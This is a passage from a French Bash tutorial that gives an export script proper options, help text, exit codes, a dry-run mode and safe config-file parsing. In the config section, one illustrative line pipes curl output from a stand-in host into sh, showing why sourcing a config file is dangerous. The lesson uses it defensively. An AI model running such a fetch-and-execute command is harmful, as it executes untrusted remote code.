Arguments, options et interface
Pourquoi
Le publier-export laissé par Camille commence ainsi :
#!/bin/bash
JOUR=${1:-$(date +%F)}
DEST=${2:-s3://sig-exports-mairie}
[ "$3" = "oui" ] && SIMULATION=1Trois paramètres positionnels, dont personne ne se rappelle l'ordre. Un mardi, la mairie demande de renvoyer l'export du 3 octobre vers son bucket de recette. Une collègue tape publier-export s3://sig-exports-recette 2026-10-03 : le bucket devient la date, la date devient la destination, le script cherche signalements-s3://sig-exports-recette.csv, écrit « fichier introuvable » sur la sortie standard et se termine avec le code 0. Le minuteur systemd qui lance le même script chaque nuit aurait vu, lui aussi, un succès. Le lendemain, quelqu'un essaie publier-export --help : le script prend --help pour une date. Pour simuler, il faut passer le mot oui en troisième position, donc répéter les deux premiers.
Rien de tout cela n'est un bogue de logique : l'export, la compression et le dépôt fonctionnent. Ce qui manque, c'est une interface. Un script d'exploitation est utilisé par au moins trois publics qui n'ont pas lu son code : la personne d'astreinte qui le relance à 3 h du matin, l'unité systemd qui le déclenche et lit son code de sortie, et la chaîne d'intégration continue qui le teste (leçon 12). Pour eux, le script est son interface : les options qu'il accepte, l'aide qu'il affiche, ce qu'il écrit sur chaque flux, et le nombre qu'il renvoie en se terminant.
Cette leçon donne à publier-export l'interface fixée dans le dépôt signalements-outils :
publier-export [-n|--dry-run] [-d|--date AAAA-MM-JJ] [-v|--verbeux]
[--destination s3://...] [-h|--help] [--version]avec des codes de sortie documentés, une aide qui répond à -h comme à --help, un fichier de configuration, et une simulation qui affiche exactement ce qui serait fait.
Les concepts
Arguments, options, opérandes
Quand le shell lance un programme, il lui transmet une liste de chaînes : les arguments. Le programme ne reçoit rien d'autre, ni guillemets, ni espaces, ni notion d'option : c'est à lui d'interpréter cette liste. La norme POSIX, dans son chapitre 12 (Utility Conventions), donne un vocabulaire que l'on reprend :
- une option est un argument qui commence par un tiret suivi d'un seul caractère alphanumérique, comme
-n; on parlait historiquement de flag ; - un argument d'option (option-argument) est la valeur associée à une option, comme
2026-10-07dans-d 2026-10-07; - un opérande (operand) est un argument qui suit les options et leurs valeurs : les noms de fichiers de
cp, l'expression degrep.
Les Utility Syntax Guidelines de POSIX (section 12.2) fixent des règles que la plupart des outils Unix respectent et que vos utilisateurs supposent, souvent sans le savoir :
- plusieurs options sans valeur peuvent être groupées derrière un seul tiret :
-nvvaut-n -v(règle 5) ; - les options précèdent les opérandes (règle 9) ;
- le premier
--qui n'est pas la valeur d'une option termine les options : tout ce qui suit est un opérande, même s'il commence par un tiret (règle 10) ; - un argument d'option ne devrait pas être facultatif (règle 7) ;
- un
-isolé, comme opérande, désigne en général l'entrée ou la sortie standard (règle 13).
Les options longues (--dry-run, --date=2026-10-07) ne viennent pas de POSIX mais du projet GNU. Elles se sont imposées parce qu'elles se lisent sans manuel, ce qui compte dans une unité systemd ou un runbook que l'on relira dans deux ans. Les conventions GNU acceptent la valeur dans l'argument suivant (--date 2026-10-07) ou après un signe égal (--date=2026-10-07).
Les paramètres positionnels
Dans un script Bash, les arguments arrivent dans les paramètres positionnels (positional parameters) : $1, $2, etc. À côté d'eux, quelques paramètres spéciaux :
| Paramètre | Contenu |
|---|---|
$0 | le nom sous lequel le script a été lancé (souvent un chemin : ./bin/publier-export, /opt/signalements/bin/publier-export) |
$1 à $9 | les neuf premiers arguments |
${10}, ${11}... | les suivants : les accolades sont obligatoires au-delà de 9 |
$# | le nombre d'arguments, sans compter $0 |
"$@" | tous les arguments, chacun restant un mot séparé (leçon 2) |
"$*" | tous les arguments collés en une seule chaîne, séparés par le premier caractère d'IFS |
Deux commandes internes modifient cette liste :
shiftretire le premier argument et décale les autres :$2devient$1, et$#diminue de 1.shift 2en retire deux ;set -- a b cremplace toute la liste para,b,c.set --seul la vide.
Ces deux commandes sont le cœur de toute analyse d'options : on regarde $1, on le traite, on le retire, et l'on recommence tant que $# est positif.
Les paramètres positionnels sont propres à chaque fonction : dans une fonction, $1 désigne le premier argument de la fonction, pas celui du script (leçon 6). Seul $0 ne change pas. C'est pourquoi l'analyse des options se fait au niveau du script, ou dans une fonction à qui l'on passe explicitement "$@".
Le contrat d'un outil en ligne de commande
Un script d'exploitation a des entrées et des sorties bien délimitées, et c'est leur ensemble qui forme son contrat :
arguments ──┐ ┌──> sortie standard (1) : les données, le résultat
variables d'environn. ─┤ │
fichier de configur. ─┼──> [ script ] ─┼──> sortie d'erreur (2) : messages, progression, erreurs
entrée standard ─┘ │
└──> code de sortie : 0 succès, autre chose échecChaque flèche a sa règle. Les flux standard ont été vus dans la leçon 6 de Premiers pas : la sortie standard porte les données, ce qu'un autre programme pourrait vouloir lire par un tube ; la sortie d'erreur porte tout ce qui s'adresse à un humain (progression, avertissements, erreurs). Le guide Command Line Interface Guidelines (clig.dev) le résume : les données sur stdout pour que les tubes fonctionnent, les messages sur stderr pour qu'ils atteignent la personne et non la commande suivante. Sous systemd, les deux flux finissent dans le journal ; dans un terminal, les deux s'affichent ; mais dès qu'on redirige ou qu'on enchaîne, la distinction devient décisive.
Le code de sortie est la seule partie du contrat que lisent les machines : systemd pour décider si le service a échoué et déclencher OnFailure=, la CI pour arrêter un pipeline, un autre script pour enchaîner par &&.
Les codes de sortie : des conventions, pas une norme
Un code de sortie est un entier de 0 à 255. Le manuel de Bash rappelle la seule règle universelle : 0 signifie le succès, toute autre valeur un échec. Pour le reste, il existe plusieurs conventions qu'il faut connaître pour ne pas les heurter :
| Code | Origine | Sens |
|---|---|---|
| 0 | universel | succès |
| 1 | usage courant | échec général |
| 2 | Bash, GNU | mauvaise utilisation : le manuel de Bash précise que toutes les commandes internes renvoient 2 en cas d'usage incorrect (option invalide, argument manquant) ; grep, ls, diff font de même |
| 64 à 78 | sysexits.h (BSD) | codes nommés : EX_USAGE (64), EX_DATAERR (65), EX_NOINPUT (66), EX_UNAVAILABLE (69), EX_SOFTWARE (70), EX_TEMPFAIL (75), EX_NOPERM (77), EX_CONFIG (78)... |
| 126 | shell | la commande existe mais n'est pas exécutable |
| 127 | shell | commande introuvable |
| 128 + N | shell | la commande a été tuée par le signal N (130 : Ctrl+C ; 143 : SIGTERM) |
Les codes de sysexits.h viennent de 4.0BSD et du programme de distribution de courrier qui deviendra sendmail. Ils sont utilisés par Postfix, par quelques outils système, et systemd les connaît par leur nom. La page de manuel admet elle-même que le choix d'un code est « souvent ambigu ». Ce n'est pas une norme qu'il faudrait suivre, mais une réserve de valeurs qu'il vaut mieux ne pas détourner : n'utilisez pas 64 pour dire autre chose qu'une erreur d'usage.
Pour les scripts de signalements-outils, l'équipe a choisi une table courte, alignée sur l'usage de Bash et de GNU (2 pour l'usage), et qui distingue les échecs auxquels l'astreinte ne réagit pas de la même façon :
| Code | Sens pour publier-export | Réaction attendue |
|---|---|---|
| 0 | succès | rien |
| 1 | erreur générale (imprévue) | lire le journal |
| 2 | mauvaise utilisation : option inconnue, valeur invalide | corriger l'appel (unité systemd, commande tapée) |
| 3 | export introuvable ou invalide | regarder l'export Python de la nuit, pas ce script |
| 4 | échec du dépôt dans le bucket | Object Storage, réseau, clés d'accès |
| 5 | une autre exécution est en cours (leçon 10) | souvent rien : attendre |
Évitez les valeurs au-dessus de 125, réservées par le shell, et rappelez-vous que le code est pris modulo 256 : exit 256 renvoie 0, un succès.
D'où vient une valeur : l'ordre de priorité
Une même valeur, la destination du dépôt par exemple, peut venir de quatre endroits. L'ordre retenu par presque tous les outils, et rappelé par clig.dev, va du plus général au plus particulier :
- la valeur par défaut, écrite dans le script ;
- le fichier de configuration de la machine (
/etc/signalements/publier-export.conf) ; - une variable d'environnement (
PUBLIER_EXPORT_DESTINATION) ; - une option sur la ligne de commande (
--destination).
Chaque niveau remplace le précédent. La logique : plus une valeur est proche de l'appel, plus elle exprime une intention précise. L'option tapée à la main pour un essai doit l'emporter sur le fichier, qui doit l'emporter sur la valeur codée en dur. Dans le script, cela se traduit simplement par l'ordre des affectations : défauts, puis lecture du fichier, puis environnement, puis analyse des options.
En pratique
Les essais de cette section ont été faits avec Bash 5.2.21, dans un répertoire de travail, avec une copie du dépôt signalements-outils et un faux répertoire d'exports. Les messages de Bash et de getopt sont montrés en anglais (LC_ALL=C), comme sur un serveur dont la locale n'est pas réglée. Comme depuis la leçon 6, HORODATER=0 est exporté dans le shell d'essai : les messages de lib/commun.sh apparaissent sans horodatage.
Observer ce que reçoit un script
Avant d'analyser des arguments, il faut voir exactement ce qui arrive. L'outil montrer-args de la leçon 2 l'affiche, un argument par ligne entre chevrons :
$ montrer-args -n --date 2026-10-07 'essai mairie'
4 argument(s)
<-n>
<--date>
<2026-10-07>
<essai mairie>
Quatre arguments : l'option -n, l'option --date, sa valeur, et un opérande qui contient une espace, préservé grâce aux guillemets de l'appel. Le script ne sait pas que 2026-10-07 « appartient » à --date : c'est la boucle d'analyse qui en décidera.
Au-delà de neuf arguments, les accolades sont indispensables :
$ bash -c 'set -- a b c d e f g h i j k; echo "$10 / ${10} / ${11} / ${!#}"'
a0 / j / k / k
$10 est lu comme $1 suivi du caractère 0 : a0. ${10} est bien le dixième. ${!#} est une forme indirecte qui donne le dernier argument : $# vaut 11, et ${!#} lit la variable nommée 11.
shift, set -- et le compte des arguments
$ bash -c 'set -- a b; shift 3 || echo "shift a échoué"; echo "il reste $#"'
shift a échoué
il reste 2
Le manuel de Bash le précise : si le nombre demandé dépasse $#, shift ne modifie rien et renvoie un code non nul. Sans message, par défaut ; l'option shopt -s shift_verbose en ajoute un (shift: 3: shift count out of range). Une boucle d'analyse qui fait shift 2 après une option dont la valeur manque ne retire donc pas l'option, et peut tourner indéfiniment sur le même argument. La parade est de vérifier $# avant de lire la valeur, ce que fera la fonction exiger_valeur plus bas.
getopts : l'analyseur intégré
getopts est une commande interne, définie par POSIX, présente dans Bash comme dans dash. Elle traite une option par appel et s'utilise dans une boucle while. Voici une première version pour publier-export, options courtes seulement :
simulation=0 VERBEUX=0 date_export=$(date +%F)
while getopts ':nvd:h' option; do
case $option in
n) simulation=1 ;;
v) VERBEUX=1 ;;
d) date_export=$OPTARG ;;
h) usage; exit 0 ;;
:) erreur_usage "l'option -$OPTARG attend une valeur" ;;
\?) erreur_usage "option inconnue : -$OPTARG" ;;
esac
done
shift "$((OPTIND - 1))"La chaîne ':nvd:h' est la spécification des options :
- chaque lettre est une option acceptée ;
- une lettre suivie de
:attend une valeur : icid, dont la valeur arrivera dansOPTARG; - le
:initial active le mode silencieux.
À chaque appel, getopts range la lettre trouvée dans la variable option et l'indice du prochain argument à examiner dans OPTIND. Quand il n'y a plus d'option, il renvoie un code non nul et la boucle s'arrête. Le shift "$((OPTIND - 1))" final retire alors toutes les options traitées, y compris un éventuel -- : il ne reste dans "$@" que les opérandes.
Le mode silencieux change la façon dont les erreurs sont signalées. D'après le manuel de Bash et la norme POSIX :
| Situation | Mode normal ('nvd:h') | Mode silencieux (':nvd:h') |
|---|---|---|
option inconnue -x | option vaut ?, OPTARG est supprimée, message de getopts sur stderr | option vaut ?, OPTARG vaut x, aucun message |
valeur manquante (-d en dernier) | option vaut ?, OPTARG supprimée, message | option vaut :, OPTARG vaut d, aucun message |
En mode normal, les messages viennent de Bash et ne ressemblent pas à ceux de votre script :
$ LC_ALL=C bash -c 'while getopts "d:" o; do :; done' publier-export -x -d
publier-export: illegal option -- x
publier-export: option requires an argument -- d
Le mode silencieux est presque toujours préférable : vous écrivez vous-même le message, en français, avec le renvoi vers --help, et vous distinguez les deux cas. Le \? du case est échappé parce que ? seul est un motif qui correspond à n'importe quel caractère : sans la barre oblique, cette branche attraperait toutes les options.
Le -v positionne VERBEUX, la variable que lit deboguer dans lib/commun.sh (leçon 6) : pas besoin d'une seconde variable. Essayons plusieurs appels, avec une ligne de contrôle provisoire en fin de script, qui affiche les trois variables puis les opérandes restants entre chevrons (erreur_usage y est réduite à un message, sans sortie, pour voir la suite) :
$ ./publier-export -nv -d 2026-10-07 reste
simulation=1 VERBEUX=1 date=2026-10-07, opérandes : <reste>
$ ./publier-export -nd2026-10-07
simulation=1 VERBEUX=0 date=2026-10-07, opérandes :
$ ./publier-export reste -n
simulation=0 VERBEUX=0 date=2026-10-08, opérandes : <reste> <-n>
$ ./publier-export -n -- -v
simulation=1 VERBEUX=0 date=2026-10-08, opérandes : <-v>
$ ./publier-export -d -n
simulation=0 VERBEUX=0 date=-n, opérandes :
Ce que montrent ces essais :
-nvest bien découpé, et-nd2026-10-07aussi : la valeur peut être collée à sa lettre, comme le prévoit POSIX ;- dans
reste -n, l'option qui suit un opérande n'est pas analysée :getoptss'arrête au premier argument qui ne commence pas par un tiret (règle 9 de POSIX) ; - après
--,-vest un opérande ; - dans
-d -n,-nest pris comme valeur de-d:getoptsne vérifie pas que la valeur « ressemble » à une valeur. La validation de la date, plus bas, rattrapera ce cas.
Ce que getopts ne sait pas faire
getopts n'accepte que des options d'une lettre. Le piège est qu'il ne refuse pas pour autant une option longue : il la découpe.
$ ./publier-export --date=2026-10-07
publier-export : option inconnue : --
simulation=0 VERBEUX=0 date=ate=2026-10-07, opérandes :
--date=2026-10-07 commence par -, donc getopts le lit comme un groupe d'options courtes : - (inconnue), puis d, dont la valeur est le reste de l'argument, ate=2026-10-07. Avec un erreur_usage qui sort du script, on s'arrête à la première erreur ; avec un simple avertissement, le script continuerait avec une date absurde.
Autres limites, relevées par la FAQ Bash de Greg Wooledge (BashFAQ/035) : pas de valeur facultative, et chaque option doit être déclarée à trois endroits (la spécification, le case, l'aide). Enfin, OPTIND n'est jamais remis à 1 automatiquement dans un même shell, comme le rappelle le manuel : une fonction qui utilise getopts et que l'on appelle deux fois ne voit rien au second appel.
$ cat essai.sh
f() { while getopts 'a' o; do echo "f a vu -$o"; done; }
f -a; f -a; echo "fin, OPTIND=$OPTIND"
$ bash essai.sh
f a vu -a
fin, OPTIND=2
La parade est de déclarer local OPTIND=1 dans la fonction (leçon 6).
getopts reste le bon choix pour un petit script portable, lancé par /bin/sh, qui n'a besoin que d'options courtes. Pour un outil d'équipe, on veut aussi des options longues.
Une boucle écrite à la main
La méthode que recommande BashFAQ/035, et que suivent la plupart des scripts sérieux, est une boucle while sur $# avec un case sur $1. Elle est entièrement sous votre contrôle. Voici celle de publier-export, construite pièce par pièce.
exiger_valeur() {
(( $2 >= 2 )) || erreur_usage "l'option $1 attend une valeur"
}
while (( $# > 0 )); do
case $1 in
-h|--help) usage; exit "$EX_OK" ;;
--version) printf '%s %s\n' "$NOM_OUTIL" "$VERSION"; exit "$EX_OK" ;;
-n|--dry-run) simulation=1 ;;
-v|--verbeux) VERBEUX=1 ;;
-d|--date) exiger_valeur "$1" "$#"; date_export=$2; shift ;;
--date=*) date_export=${1#*=} ;;
-d?*) date_export=${1#-d} ;;
--destination) exiger_valeur "$1" "$#"; destination=$2; shift ;;
--destination=*) destination=${1#*=} ;;
-[nvh]?*) set -- "${1:0:2}" "-${1:2}" "${@:2}"; continue ;;
--) shift; break ;;
-?*) erreur_usage "option inconnue : $1" ;;
*) break ;;
esac
shift
done
(( $# == 0 )) || erreur_usage "argument inattendu : $1"Branche par branche :
-n|--dry-run: la forme courte et la forme longue sont des alternatives du même motif. Une option sans valeur ne fait qu'affecter une variable ; leshiften bas de boucle la retire.-d|--date: l'option attend sa valeur dans l'argument suivant.exiger_valeur "$1" "$#"vérifie qu'il en reste au moins deux (l'option et sa valeur) avant de lire$2; leshiftde la branche retire la valeur, celui du bas retire l'option. On passe$#à la fonction parce que, dans une fonction,$#serait celui de la fonction.--date=*: la valeur est dans le même argument.${1#*=}retire le plus court préfixe qui se termine par=(leçon 3) :--date=2026-10-07donne2026-10-07. Une valeur qui contient elle-même un=est préservée, puisque seul le premier est retiré.-d?*: la forme collée POSIX,-d2026-10-07. Le motif?*exige au moins un caractère après-d.-[nvh]?*: les options courtes groupées.-nvest réécrit en-n -v:${1:0:2}donne-n,"-${1:2}"donne-v,"${@:2}"le reste des arguments. Lecontinuerelance la boucle sansshift, pour traiter les morceaux. Seules les lettres sans valeur figurent dans la classe ;-nd2026-10-07devient-npuis-d2026-10-07, que la branche précédente reconnaît. Cette branche doit venir après-d?*, puisqu'uncases'arrête au premier motif qui correspond.--: fin des options. On le retire et l'on sort de la boucle.-?*: tout autre argument qui commence par un tiret suivi d'au moins un caractère est une option inconnue. Erreur d'usage, code 2.*: le premier opérande. On sort de la boucle sans le retirer.publier-exportn'accepte aucun opérande : la ligne qui suit la boucle le refuse. Le-isolé tombe dans cette branche, puisque-?*exige un caractère après le tiret.
Le résultat, sur les mêmes appels que tout à l'heure :
$ ./bin/publier-export -nv --date 2026-10-07
publier-export : débogage : date 2026-10-07, destination s3://sig-exports-mairie, simulation 1
...
$ ./bin/publier-export --date
publier-export : l'option --date attend une valeur
Essayez « publier-export --help » pour plus d'informations.
$ echo $?
2
$ ./bin/publier-export -nv
...
$ ./bin/publier-export s3://sig-exports-recette
publier-export : argument inattendu : s3://sig-exports-recette
Essayez « publier-export --help » pour plus d'informations.
L'appel de la collègue, qui avait produit un faux succès avec le script de Camille, échoue maintenant immédiatement, avec le code 2 et un message qui dit quoi faire.
Cette boucle traite les options où qu'elles soient avant le premier opérande, dans n'importe quel ordre, et une même option peut être répétée : la dernière valeur gagne, ce que la règle 11 de POSIX autorise. Si vous voulez accepter des options après les opérandes, à la manière des outils GNU, remplacez le *) break par une accumulation des opérandes dans un tableau (operandes+=("$1"), leçon 7) et continuez la boucle.
Valider les valeurs, pas seulement les options
Une option reconnue peut porter une valeur absurde. On valide juste après la boucle, avant toute action :
[[ $date_export =~ ^[0-9]{4}-[0-9]{2}-[0-9]{2}$ ]] \
|| erreur_usage "date invalide : « $date_export » (attendu : AAAA-MM-JJ)"
date -d "$date_export" +%F > /dev/null 2>&1 \
|| erreur_usage "date inexistante : $date_export"
[[ $destination =~ ^s3://[a-z0-9][a-z0-9.-]*(/.*)?$ ]] \
|| erreur_usage "destination invalide : « $destination » (attendu : s3://bucket/...)"
destination=${destination%/}$ ./bin/publier-export --date=2026-02-30
publier-export : date inexistante : 2026-02-30
Essayez « publier-export --help » pour plus d'informations.
$ ./bin/publier-export -d -n
publier-export : date invalide : « -n » (attendu : AAAA-MM-JJ)
Essayez « publier-export --help » pour plus d'informations.
L'expression régulière vérifie la forme (leçon 4), date -d de GNU coreutils vérifie que le jour existe : il refuse le 30 février. Le ${destination%/} retire une éventuelle barre oblique finale, pour que s3://bucket/ et s3://bucket produisent la même clé. Une erreur de valeur est une erreur d'usage : code 2. L'absence du fichier d'export, elle, n'est pas une faute de l'appelant : ce sera le code 3.
getopt d'util-linux : à connaître
Il existe aussi une commande externe, getopt (sans s), fournie par util-linux. À ne pas confondre avec la commande interne. Sa version Linux, dite « améliorée », gère options courtes et longues, et produit une liste d'arguments réordonnée et citée pour le shell :
$ cat analyse.sh
args=$(getopt -o nd:vh -l dry-run,date:,verbeux,help,version,destination: \
-n publier-export -- "$@") || exit 2
echo "getopt a produit : $args"
eval set -- "$args"
printf '<%s>' "$@"; echo
$ bash analyse.sh -nv --date=2026-10-07 'mon fichier' --dest s3://x
getopt a produit : -n -v --date '2026-10-07' --destination 's3://x' -- 'mon fichier'
<-n><-v><--date><2026-10-07><--destination><s3://x><--><mon fichier>
getopt a fait trois choses : découpé -nv, normalisé --date=... en deux arguments, et déplacé l'opérande mon fichier après un -- qu'il a ajouté. Il a aussi accepté --dest, une abréviation non ambiguë de --destination, comme le fait getopt_long(3) de la glibc. La boucle while/case qui suit n'a plus qu'à traiter la forme normalisée.
La page getopt(1) explique pourquoi eval est nécessaire : la sortie est citée pour préserver espaces et caractères spéciaux, et doit donc être interprétée à nouveau par le shell. C'est l'un des rares usages légitimes d'eval, à condition de ne jamais l'appliquer à autre chose que la sortie de getopt.
Pourquoi ne pas l'adopter partout ?
- La portabilité : les versions BSD et macOS de
getoptsont « traditionnelles », sans options longues ni citation ; un nom de fichier avec une espace y est découpé.getopt -Tpermet de tester : il renvoie le code 4 avec la version améliorée. - Les abréviations : accepter
--destaujourd'hui, c'est casser les appels le jour où vous ajoutez une option--destination-recette. - La dépendance à
evalet à un outil externe, là où une boucle de quinze lignes suffit.
BashFAQ/035 va jusqu'à conseiller de ne pas l'utiliser. La position de l'équipe est plus nuancée : on le lit sans surprise dans les scripts des autres, on écrit la boucle à la main dans les nôtres.
| Besoin | Choix |
|---|---|
script #!/bin/sh, options courtes | getopts |
| outil d'équipe en Bash, options longues | boucle while/case |
reprendre un script qui utilise déjà getopt sous Linux | le garder, vérifier getopt -T et l'eval set -- |
| sous-commandes, options imbriquées, aide générée | changer de langage (Python et argparse, leçon 12) |
L'aide, l'usage et la version
L'aide est la documentation que l'on a toujours sous la main, sur le serveur, à 3 h du matin. On l'écrit dans un here-document (leçon 6 de Premiers pas) ; le délimiteur sans apostrophes laisse développer $NOM_OUTIL et les valeurs par défaut :
usage() {
cat <<FIN
Usage : $NOM_OUTIL [OPTIONS]
Dépose l'export CSV d'une journée dans le bucket de la mairie,
avec son empreinte SHA-256.
Options :
-d, --date AAAA-MM-JJ journée à publier (défaut : aujourd'hui)
--destination URL préfixe S3 (défaut : $destination)
-n, --dry-run afficher les commandes, sans rien modifier
-v, --verbeux messages détaillés sur la sortie d'erreur
-h, --help afficher cette aide et sortir
--version afficher la version et sortir
Configuration : $CONFIGURATION (CLE=valeur : DESTINATION)
Environnement : PUBLIER_EXPORT_DESTINATION remplace la configuration.
Codes de sortie :
0 succès 3 export introuvable ou invalide
1 erreur générale 4 échec du dépôt
2 mauvaise utilisation 5 une autre exécution est en cours
Exemple :
$NOM_OUTIL --date 2026-10-07 --dry-run
FIN
}Les choix qu'elle reflète :
-het--helpaffichent l'aide sur la sortie standard et sortent avec 0. L'aide est alors le résultat demandé : on doit pouvoir la paginer (publier-export --help | less) ou la chercher (| grep date). Comme$destinationest affichée,usagedoit être appelée après la lecture de la configuration : l'aide montre alors la valeur réellement en vigueur.- Une erreur d'usage n'affiche pas toute l'aide. Elle écrit une ligne d'explication et un renvoi vers
--helpsur la sortie d'erreur, et sort avec 2. Noyer l'erreur sous quarante lignes d'aide la rend invisible. - Un exemple au moins, comme le recommande clig.dev : c'est souvent la seule partie de l'aide que l'on lit.
- Les codes de sortie et les sources de configuration sont dans l'aide. Ce sont des parties du contrat ; qui écrit l'unité systemd ou l'alerte en a besoin.
erreur_usage() {
printf '%s : %s\n' "$NOM_OUTIL" "$*" >&2
printf "Essayez « %s --help » pour plus d'informations.\n" "$NOM_OUTIL" >&2
exit "$EX_USAGE"
}NOM_OUTIL vient de lib/commun.sh (leçon 6) : ${0##*/} retire le chemin de $0 (leçon 3), si bien que les messages commencent par publier-export :, que le script ait été lancé par ./bin/publier-export ou par son chemin absolu. Les outils GNU écrivent grep: ; nos scripts gardent l'espace de la typographie française, comme tous les messages de la bibliothèque. L'essentiel est que le nom du programme vienne en tête : on sait quel outil parle quand plusieurs écrivent dans le même journal. erreur_usage n'utilise pas journaliser : une erreur d'usage s'adresse à la personne qui vient de taper la commande, l'horodatage n'y apporterait rien.
--version affiche une ligne, publier-export 1.2.0, sur la sortie standard. Elle sert lors d'un incident (« quelle version tourne sur sig-outils ? ») et dans les tests. On ne lui attribue pas -v, déjà pris par --verbeux : clig.dev signale cette ambiguïté classique de -v, qui veut dire « verbeux » pour certains outils et « version » pour d'autres.
Données sur la sortie standard, messages sur la sortie d'erreur
Les messages passent par la bibliothèque lib/commun.sh de la leçon 6, dont toutes les fonctions écrivent sur la sortie d'erreur, préfixées du nom du programme. Deux de ses choix servent directement l'interface :
deboguern'écrit que siVERBEUXvaut 1, ce que fait l'option-v. Les messages ordinaires restent rares : un script qui bavarde à chaque exécution noie ses vrais avertissements dans le journal.VERBEUX=1 publier-exportfonctionne aussi, puisquedeboguerlit la variable sans se soucier de qui l'a posée ;mouriraccepte un code de sortie avec-c:mourir -c "$EX_EXPORT" "export invalide, rien n'est publié". Sans-c, il sort avec 1.
Il manquait la table des codes elle-même. publier-export la déclare une fois pour toutes, en constantes en lecture seule :
readonly EX_OK=0 EX_ERREUR=1 EX_USAGE=2 EX_EXPORT=3 EX_DEPOT=4 EX_VERROU=5Que met-on sur la sortie standard ? Pour publier-export, en fonctionnement normal, rien : le résultat est un dépôt dans un bucket, pas une donnée à transmettre. La ligne finale « export publié » est un message, elle va sur stderr. En simulation, en revanche, le résultat demandé est la liste des commandes qui seraient exécutées : elle va sur stdout, et l'on peut la rediriger dans un fichier pour la relire ou la comparer.
$ ./bin/publier-export -n --date 2026-10-07 > plan.txt
publier-export : simulation : rien n'a été modifié
$ cat plan.txt
gzip --keep --force -- /srv/donnees/exports/signalements-2026-10-07.csv
ecrire_empreinte /srv/donnees/exports/signalements-2026-10-07.csv.gz
aws s3 cp --only-show-errors --endpoint-url https://s3.fr-par.scw.cloud /srv/donnees/exports/signalements-2026-10-07.csv.gz s3://sig-exports-mairie/2026/10/
aws s3 cp --only-show-errors --endpoint-url https://s3.fr-par.scw.cloud /srv/donnees/exports/signalements-2026-10-07.csv.gz.sha256 s3://sig-exports-mairie/2026/10/
La simulation : une seule fonction pour exécuter
Une simulation (dry run, « répétition à sec ») fiable ne duplique pas la logique (« si simulation, afficher ceci, sinon faire cela ») à chaque étape : les deux branches finiraient par diverger. On fait passer toutes les actions qui modifient quelque chose par une seule fonction :
executer() {
if (( simulation )); then
printf '%q ' "$@"
printf '\n'
else
deboguer "exécution : $*"
"$@"
fi
}En simulation, printf '%q ' affiche chaque argument cité de façon à pouvoir être recollé dans un shell (leçon 2) ; en exécution réelle, "$@" lance la commande avec ses arguments intacts. La commande aws est construite dans un tableau, comme à la leçon 7, et les fonctions compresser et deposer de la leçon 6 passent désormais par executer :
# ecrire_empreinte ARCHIVE : écrit ARCHIVE.sha256, avec le seul nom du fichier.
ecrire_empreinte() {
(cd -- "${1%/*}" && sha256sum -- "${1##*/}" > "${1##*/}.sha256")
}
compresser() {
executer gzip --keep --force -- "$1" &&
executer ecrire_empreinte "$1.gz"
}
deposer() {
local fichier
for fichier in "$csv.gz" "$csv.gz.sha256"; do
executer "${aws_s3[@]}" "$fichier" "$destination/$annee/$mois/" || return 1
done
}Trois remarques :
- la compression modifie le répertoire des exports (elle y crée deux fichiers) : c'est une action, elle passe donc par
executer, et la simulation ne laisse aucune trace sur le disque ; executerlance"$@", qui peut être une fonction aussi bien qu'une commande : la redirection desha256sumvers un fichier ne passerait pas telle quelle dans une liste d'arguments, on l'enferme donc dansecrire_empreinte. En simulation, la ligne affichée porte le nom de la fonction, ce qui reste lisible ;- une destination avec une espace (
--destination 's3://sig-exports-recette/essai mairie/') s'affiches3://sig-exports-recette/essai\ mairie/2026/10/: la sortie de la simulation est exactement ce que l'on taperait.
Les lectures, elles, s'exécutent aussi en simulation : la validation de la date, celle du CSV (existence, en-tête, nombre de lignes), la présence des commandes nécessaires. Sinon la simulation ne vérifierait rien, et un --dry-run réussi ne prouverait pas que la vraie exécution passera.
Couleurs : seulement pour un humain, et seulement s'il en veut
Une erreur en rouge se repère mieux dans un terminal. Dans le journal de systemd, dans un fichier ou dans les traces de la CI, les séquences d'échappement ANSI deviennent du bruit (^[[31m). On n'en émet donc que si trois conditions sont réunies :
if [[ -t 2 && -z ${NO_COLOR:-} && ${TERM:-dumb} != dumb ]]; then
ROUGE=$'\e[31m' JAUNE=$'\e[33m' NORMAL=$'\e[0m'
else
ROUGE='' JAUNE='' NORMAL=''
fi[[ -t 2 ]]: le descripteur 2, celui où vont les messages, est un terminal. On teste le flux sur lequel on écrit : clig.dev rappelle que sortie standard et sortie d'erreur peuvent être redirigées indépendamment ;NO_COLORest vide ou absente : la convention publiée sur no-color.org demande qu'un logiciel n'ajoute pas de couleur ANSI quand cette variable est « présente et non vide, quelle que soit sa valeur » (NO_COLOR=0désactive donc aussi les couleurs) ;TERMn'est pasdumb, valeur que posent certains environnements (Emacs, quelques outils de CI) pour signaler un terminal sans capacités.
Si vous les adoptez, c'est journaliser, dans lib/commun.sh, qui les place autour des mots « erreur » et « attention » : tous les scripts en profitent d'un coup. En pratique, pour des scripts d'exploitation qui tournent surtout sous systemd, beaucoup d'équipes s'en passent ; si vous en mettez, mettez-les ainsi.
Le fichier de configuration, sans l'exécuter
La destination varie selon la machine (bucket de recette sur une machine de préproduction) : elle a sa place dans un fichier, /etc/signalements/publier-export.conf. Le format le plus simple est une suite de lignes CLE=valeur, avec des commentaires :
# /etc/signalements/publier-export.conf
DESTINATION=s3://sig-exports-mairieLa tentation est de l'écrire comme un morceau de shell et de faire source /etc/signalements/publier-export.conf. C'est exécuter le fichier, avec les droits du script : une ligne DESTINATION=$(curl -s https://exemple.invalid/x | sh) ou un simple PATH=/tmp y serait appliqué. On lit donc le fichier comme une donnée :
lire_configuration() {
local fichier=$1 cle valeur n=0
[[ -e $fichier ]] || return 0
[[ -r $fichier ]] || return 1
while IFS='=' read -r cle valeur || [[ -n $cle ]]; do
n=$((n + 1))
[[ $cle =~ ^[[:space:]]*(#|$) ]] && continue
case $cle in
DESTINATION) destination=$valeur ;;
*) avertir "$fichier:$n : clé inconnue « $cle », ignorée" ;;
esac
done < "$fichier"
}La lecture ligne à ligne vient de la leçon 5 :
IFS='='coupe la ligne au premier=:readrange le premier champ danscleet tout le reste, y compris d'éventuels autres=, dans la dernière variable,valeur;|| [[ -n $cle ]]traite une dernière ligne sans saut de ligne final, fréquente dans un fichier édité à la main ;- les lignes vides et les commentaires sont sautés ;
- seules les clés connues sont acceptées, par une liste blanche dans le
case. Une clé inconnue produit un avertissement avec le numéro de ligne, ce qui attrape aussi les fautes de frappe (DESTINTATION) ; - un fichier absent n'est pas une erreur (les valeurs par défaut s'appliquent), un fichier présent mais illisible en est une : c'est sans doute un problème de droits qu'il faut voir. La fonction renvoie alors 1 et c'est
